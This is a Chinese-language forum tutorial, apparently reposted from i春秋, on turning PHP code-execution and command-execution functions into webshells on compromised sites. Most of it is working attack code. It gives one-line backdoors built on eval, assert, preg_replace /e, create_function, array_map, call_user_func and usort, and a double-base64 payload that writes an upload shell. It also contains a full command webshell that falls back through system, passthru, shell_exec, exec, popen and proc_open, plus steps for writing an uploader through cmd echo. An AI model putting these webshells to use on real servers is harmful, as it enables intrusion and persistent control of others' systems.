菜刀(代码执行)函数和命令执行函数详解及Getshell方法
i春秋作家:大家奥斯的哦
原文来自:https://bbs.ichunqiu.com/thread-41471-1-1.html
代码执行函数 VS 命令执行函数
一直想整理这两块的内容,但是一直没时间弄,直到前两天碰上一个写入了菜刀马但是死活连不上菜刀的站,顿时不知道怎么继续了,所以就趁这个机会整理了一下代码执行函数怎么getshell和命令执行函数怎么getshell的思路,各位大牛有什么想法可以一起交流一下。那么我们开始正题。
菜刀马的原理其实是调用了代码执行函数。而菜刀之所以能够执行系统命令和上传文件,也是调用了命令执行函数。命令马的原理是调用了命令执行函数。
这两种都能够getshell(以上传大马为准)因为有一些服务器做了限制,比如菜刀连不上,或者禁用了某些函数,或者利用SQL注入写文件和XML之类的漏洞,所以有时候在有了菜刀马和命令马之后要上传大马还是有一些波折的,当然能够直接上传或写入大马的除外。
一、首先是菜刀马:
菜刀马的原理是调用了PHP的代码执行函数,比如以下1和2两个常见的一句话菜刀马,就是调用了eval函数、assert函数。
1、eval()函数
那么当我们上传了eval函数的菜刀马之后,在连接不上菜刀的情况下怎么上传大马呢?继续往下看
这里我是先写一个上传马,再用上传马去上传大马,有点多次一举,但是考虑到大马代码量太多,还是建议先写个上传马,以下代码只有1kb。
<?php
@$temp = $_FILES['upload_file']['tmp_name'];
@$file = basename($_FILES['upload_file']['name']);
if (empty ($file)){
echo “<form action = ” method = ‘POST’ ENCTYPE=’multipart/form-data’>\n”;echo “Local file: <input type = ‘file’ name = ‘upload_file’>\n”;echo “<input type = ‘submit’ value = ‘Upload’>\n”;echo “</form>\n<pre>\n\n</pre>”;}else {if(move_uploaded_file($temp,$file)){echo “File uploaded successfully.<p>\n”;}else {echo “Unable to upload ” . $file . “.<p>\n”;}}?>
原理是利用文件操作函数如下:
fputs(fopen(shell.php,w),xxxx);
写入xxxx到脚本执行文件当前目录下的shell.php文件。
由于是利用post传参,不能出现【<】【>】【+】【=】【/】等符号,所以这里我们需要把代码编码一下,将上面的上传代码进行两次base64编码(为了去除=号)。
☆☆☆链接文字在编码的时候空格和回车都会影响编码后的结果,因此建议大家直接复制我上面的上传马或者用下面我编码好的,或者自己去慢慢尝试直到base64编码后为一串自由数字和字母的字符串即可。
接下来利用文件操作函数写入上传马,注意不要忘了最后的分号。
cmd=fputs(fopen(base64_decode(c2hlbGwucGhw),w),base64_decode(base64_decode(UEQ5d2FIQWdEUXBBSkhSbGJYQWdQU0FrWDBaSlRFVlRXeWQxY0d4dllXUmZabWxzWlNkZFd5ZDBiWEJmYm1GdFpTZGRPdzBLUUNSbWFXeGxJRDBnWW1GelpXNWhiV1VvSkY5R1NVeEZVMXNuZFhCc2IyRmtYMlpwYkdVblhWc25ibUZ0WlNkZEtUc05DbWxtSUNobGJYQjBlU0FvSkdacGJHVXBLWHNOQ21WamFHOGdJanhtYjNKdElHRmpkR2x2YmlBOUlDY25JRzFsZEdodlpDQTlJQ2RRVDFOVUp5QkZUa05VV1ZCRlBTZHRkV3gwYVhCaGNuUXZabTl5YlMxa1lYUmhKejVjYmlJN1pXTm9ieUFpVEc5allXd2dabWxzWlRvZ1BHbHVjSFYwSUhSNWNHVWdQU0FuWm1sc1pTY2dibUZ0WlNBOUlDZDFjR3h2WVdSZlptbHNaU2MrWEc0aU8yVmphRzhnSWp4cGJuQjFkQ0IwZVhCbElEMGdKM04xWW0xcGRDY2dkbUZzZFdVZ1BTQW5WWEJzYjJGa0p6NWNiaUk3WldOb2J5QWlQQzltYjNKdFBseHVQSEJ5WlQ1Y2JseHVQQzl3Y21VK0lqdDlaV3h6WlNCN2FXWW9iVzkyWlY5MWNHeHZZV1JsWkY5bWFXeGxLQ1IwWlcxd0xDUm1hV3hsS1NsN1pXTm9ieUFpUm1sc1pTQjFjR3h2WVdSbFpDQnpkV05qWlhOelpuVnNiSGt1UEhBK1hHNGlPMzFsYkhObElIdGxZMmh2SUNKVmJtRmliR1VnZEc4Z2RYQnNiMkZrSUNJZ0xpQWtabWxzWlNBdUlDSXVQSEErWEc0aU8zMTlQejQ9)));
成功得到上传马,之后就是上传我们的大马了。
2、assert()函数
#assert函数是直接将传入的参数当成PHP代码直接,不需要以分号结尾,当然你加上也可以。
#命令執行:cmd=system(whoami)
#菜刀连接密码:cmd
<?php @assert($_POST['cmd'])?>
上传大马,这一步参考eval函数。
其他的代码执行函数还有以下几个,均给出了菜刀马和连接方式:
3、preg_replace()
#preg_replace(‘正则规则’,'替换字符’,’目标字符’)
#执行命令和上传文件参考assert函数(不需要加分号)。
#将目标字符中符合正则规则的字符替换为替换字符,此时如果正则规则中使用/e修饰符,则存在代码执行漏洞。
preg_replace(“/test/e”,$_POST["cmd"],”jutst test”);
#phpinfo();
eval(chr(112).chr(104).chr(112).chr(105).chr(110).chr(102).chr(111).chr(40).chr(41).chr(59))
4、create_function()函数
#创建匿名函数执行代码
#执行命令和上传文件参考eval函数(必须加分号)。
#菜刀连接密码:cmd
$func =create_function(”,$_POST['cmd']);$func();
5、array_map()函数
#array_map() 函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。 回调函数接受的参数数目应该和传递给 array_map() 函数的数组数目一致。
#命令执行http://localhost/123.php?func=system cmd=whoami
#菜刀连接http://localhost/123.php?func=assert 密码:cmd
$func=$_GET['func'];
$cmd=$_POST['cmd'];
$array[0]=$cmd;
$new_array=array_map($func,$array);
echo $new_array;
6、call_user_func()函数
#传入的参数作为assert函数的参数
#cmd=system(whoami)
#菜刀连接密码:cmd
call_user_func(“assert”,$_POST['cmd']);
7、call_user_func_array()函数
#将传入的参数作为数组的第一个值传递给assert函数
#cmd=system(whoami)
#菜刀连接密码:cmd
$cmd=$_POST['cmd'];
$array[0]=$cmd;
call_user_func_array(“assert”,$array);
8、array_filter()函数
#用回调函数过滤数组中的元素:array_filter(数组,函数)
#命令执行func=system&cmd=whoami
#菜刀连接http://localhost/123.php?func=assert 密码cmd
$cmd=$_POST['cmd'];
$array1=array($cmd);
$func =$_GET['func'];
array_filter($array1,$func);
9、uasort()函数
#php环境>=<5.6才能用
#uasort() 使用用户自定义的比较函数对数组中的值进行排序并保持索引关联 。
#命令执行:http://localhost/123.php?1=1+1&2=eval($_GET[cmd])&cmd=system(whoami);
#菜刀连接:http://localhost/123.php?1=1+1&2=eval($_POST[cmd]) 密码:cmd
usort($_GET,’asse’.'rt’);
二、命令执行函数
PHP执行系统命令的有几个常用的函数,如有:system函数、exec函数、popen函数,passthru,shell_exec函数他们都可以执行系统命令,下面是我整理的一个命令马,把常见的命令执行函数都做了一个梳理,如果大家还有什么新的思路或见解,可以一起交流交流。
<?php
$command=$_POST['cmd'];
#function exec_all($command)
#{
//system函数可执行并直接显示结果
if(function_exists(‘system’))
{
echo “<pre>”;
system($command);
echo “</pre>”;
}
//passthru函数可执行并直接显示结果
else if(function_exists(‘passthru’))
{
echo “<pre>”;
passthru($command);
echo “</pre>”;
}
//shell_exec函数可执行但需要加echo才能显示结果
else if(function_exists(‘shell_exec’))
{
echo “<pre>”;
echo shell_exec($command);
echo “</pre>”;
}
//function exec(命令,以数组形式的保存结果,命令执行的状态码)
//可执行,但需要加echo才能显示结果
else if(function_exists(‘exec’))
{
echo “<pre>”;
exec($command,$output);
echo “</br>”;
print_r($output);
echo “</pre>”;
}
//popen函数:打开一个指向进程的管道,该进程由派生指定的 command 命令执行而产生。
//返回一个和 fopen() 所返回的相同的文件指针,只不过它是单向的(只能用于读或写)
//此指针可以用于 fgets(),fgetss() 和 fwrite()。并且必须用 pclose() 来关闭。
//若出错,则返回 false。
else if(function_exists(‘popen’))
{
$handle = popen($command , “r”); // Open the command pipe for reading
if(is_resource($handle))
{
if(function_exists(‘fread’) && function_exists(‘feof’))
{
echo “<pre>”;
while(!feof($handle))
{
echo fread($handle, 1024);
}
echo “</pre>”;
}
else if(function_exists(‘fgets’) && function_exists(‘feof’))
{
echo “<pre>”;
while(!feof($handle))
{
echo fgets($handle,1024);
}
echo “<pre>”;
}
}
pclose($handle);
}
//proc_open — 执行一个命令,并且打开用来输入/输出的文件指针。
else if(function_exists(‘proc_open’))
{
$descriptorspec = array(
1 => array(“pipe”, “w”), // stdout is a pipe that the child will write to
);
$handle = proc_open($command ,$descriptorspec , $pipes); // This will return the output to an array ‘pipes’
if(is_resource($handle))
{
if(function_exists(‘fread’) && function_exists(‘feof’))
{
echo “<pre>”;
while(!feof($pipes[1]))
{
echo fread($pipes[1], 1024);
}
echo “</pre>”;
}
else if(function_exists(‘fgets’) && function_exists(‘feof’))
{
echo “<pre>”;
while(!feof($pipes[1]))
{
echo fgets($pipes[1],1024);
}
echo “<pre>”;
}
}
#pclose($handle);
}
else
{
echo ‘GG’;
}
#}
其他函数:
暂时就知道其他两个函数,不过也都是基于以上的函数所变化的。
<?php
$cmd=$_POST['cmd'];
echo “<pre>”;
//可执行并直接显示结果,反引号,波浪键。
//shell_exec() 函数实际上仅是反撇号 (`) 操作符的变体
//所以如果把shell_exec()函数禁用了,反撇号 (`)也是执行不了命令的。
echo `$cmd`;
//注意,这个只显示结果的第一行,因此基本只能执行whoami
//ob_start:打开缓冲区,需要system函数开启
$a = ‘system’;
ob_start($a);
echo “$_POST[cmd]“;
ob_end_flush();
echo “</pre>”;
上面讲完命令执行命令,也都可以执行命令了,那么如何利用这些命令马来进一步上传我们的大马呢,这里就要涉及到一下CMD命令了,有兴趣的同学可以去参考链接查看《CMD命令特殊符号》的文章。
这里了我是用echo写文件的思路,遗忘大佬教的用msf结合命令行去下载大马我暂时还没去实践,就留着以后有时间再写了,废话不多说,开干吧!
成功执行命令之后,首先利用【dir】命令得到网站路径,如果是mysql注入得到的os-shell也可用【dir d:\ /b】命令查找存放网站程序的路径。
然后用【echo】命令写入我们的上传马
☆☆☆这里注意【<】【>】【&】这三个字符在CMD命令行中有特殊意义,需要在前面加【^】进行转义,可以用文本的替换来实现这个功能。
写入成功之后就可以上传我们的大马啦 ^-^!然后就看大家的啦,该修复修复,想提交提交,到这里就结束啦,有什么意见欢迎一起交流交流。
参考链接:
https://www.cnblogs.com/xiaozi/p/7834367.html
https://blog.csdn.net/yatere/article/details/7765270
http://blog.163.com/magicc_love/ … 662201542810350983/
i春秋推出优享会员制,开通会员可以免费畅享多类课程、实验、CTF赛题等付费内容,并可享有包括会员日专属福利、就业推荐等多种特权福利,更多活动详情可点击:https://bbs.ichunqiu.com/thread-40795-1-1.html了解哦~
菜刀(代码执行)函数和命令执行函数详解及Getshell方法的更多相关文章
- 【随笔】菜刀(代码执行)函数和命令执行函数详解及Getshell方法
代码执行函数 VS 命令执行函数 一直想整理这两块的内容,但是一直没时间弄,直到前两天碰上一个写入了菜刀马但是死活连不上菜刀的站,顿时不知道怎么继续了,所以就趁这个机会整理了一下代码执行函数怎么get ...
- php课程 1-3 web项目中php、html、js代码的执行顺序是怎样的(详解)
php课程 1-3 web项目中php.html.js代码的执行顺序是怎样的(详解) 一.总结 一句话总结:b/s结构 总是先执行服务器端的先.js是客户端脚本 ,是最后执行的.所以肯定是php先执行 ...
- (转载)--SG函数和SG定理【详解】
在介绍SG函数和SG定理之前我们先介绍介绍必胜点与必败点吧. 必胜点和必败点的概念: P点:必败点,换而言之,就是谁处于此位置,则在双方操作正确的情况下必败. N点:必胜点 ...
- ThinkPHP函数详解:session方法
ThinkPHP函数详解:session方法 Session方法用于Session 设置.获取.删除和管理操作. Session 用于Session 设置.获取.删除和管理操作 用法 sessi ...
- SQL Server中排名函数row_number,rank,dense_rank,ntile详解
SQL Server中排名函数row_number,rank,dense_rank,ntile详解 从SQL SERVER2005开始,SQL SERVER新增了四个排名函数,分别如下:1.row_n ...
- Linux常用命令及部分详解
1.总结部分 常用指令 ls 显示文件或目录 -l 列出文件详细信息l(list) -a 列出当前目录下所有文件及目录,包括隐藏的a(all) m ...
- 【初级】linux rm 命令详解及使用方法实战
rm:删除命令 前言: windows中的删除命令大家都不陌生,linux中的删除命令和windows中有一个共同特点,那就是危险,前两篇linux mkdir 命令详解及使用方法实战[初级]中我们就 ...
- 【初级】linux mkdir 命令详解及使用方法实战
mkdir命令详解及使用方法实战 名称 MKDIR 是 make directories 的缩写 使用方法 mkdir [选项(如-p)] ...目录名称(及子目录注意用分隔符隔开)... 如使 ...
- Linux命令工具 top详解
Linux命令工具 top详解 top命令是Linux下常用的性能分析工具,能够实时显示系统中各个进程的资源占用状况,类似于Windows的任务管理器.top是一个动态显示过程,即可以通过用户按键来不 ...
随机推荐
- 为Firefox浏览器安装Firebug插件
一.确保联网 二.打开Firefox 三.菜单:工具 -> 附加组件 显示附加组件管理器界面,点扩展 在搜索框输入firebug,搜,在搜索结果列表中找到Firebug项,安装 安装进度 安装完 ...
- Android应用开发中,第三方集成新浪微博(sinaWeiboSDK)的过程记录
作为一个android开发人员,不可避免的要学会使用和集成第三方API的能力 而新浪微博作为现在最主要的新闻速递媒体,使用十分普遍,并且提供了较为详细的API接入方法,故此选择集成sinaWeibiS ...
- mysql创建表和数据库
创建数据库,创建数据库表,例子.MySQL语句 1.创建数据库: 创建的代码:create 数据库的代码:database 数据库表名:随便起,只要自己记住就行.test create ...
- OpenStack 安装:keystone服务
在前面的章节里面,我们配置了基本环境,也安装keystone服务,并且创建了keystone的数据库,在这一篇里面,我们说怎么配置keystone. 首先编辑keystone服务,需要修改如下数据 编 ...
- 你不知道的JavaScript中,读书笔记
七种内置类型 null, undefined, boolean, number, string, object, symbol typeof null === 'object' // true nul ...
- zabbix 3.4 直接 发现端口并作存活监控(带服务名)
客户端配置 1.脚本 [root@es1 home]# cat /home/port_service.sh #!/bin/bash#by Mr.lu#su rootportarray=(`sudo - ...
- 20175126《Java程序设计》第二周学习总结
# 20175126 2016-2017-2 <Java程序设计>第二周学习总结 ## LINUX系统安装好输入法后如何使用? - 相信很多同学在刚接触虚拟机LINUX系统时,会因无法输入 ...
- 清理xcode
移除 Xcode 运行安装 APP 产生的缓存文件(DerivedData) ~/Library/Developer/Xcode/DerivedData 移除 APP 打包的ipa历史版本(Archi ...
- 【python深入】dict和list实现排序:sorted()和lambda的使用
Python中经常需要对dict中的key值或者value值进行排序,可以通过sorted方法和lambda结合使用,接下来就是sorted()和lambda 一.sorted()和lambda so ...
- POJ 1741 Tree(点分治点对<=k)
Description Give a tree with n vertices,each edge has a length(positive integer less than 1001). Def ...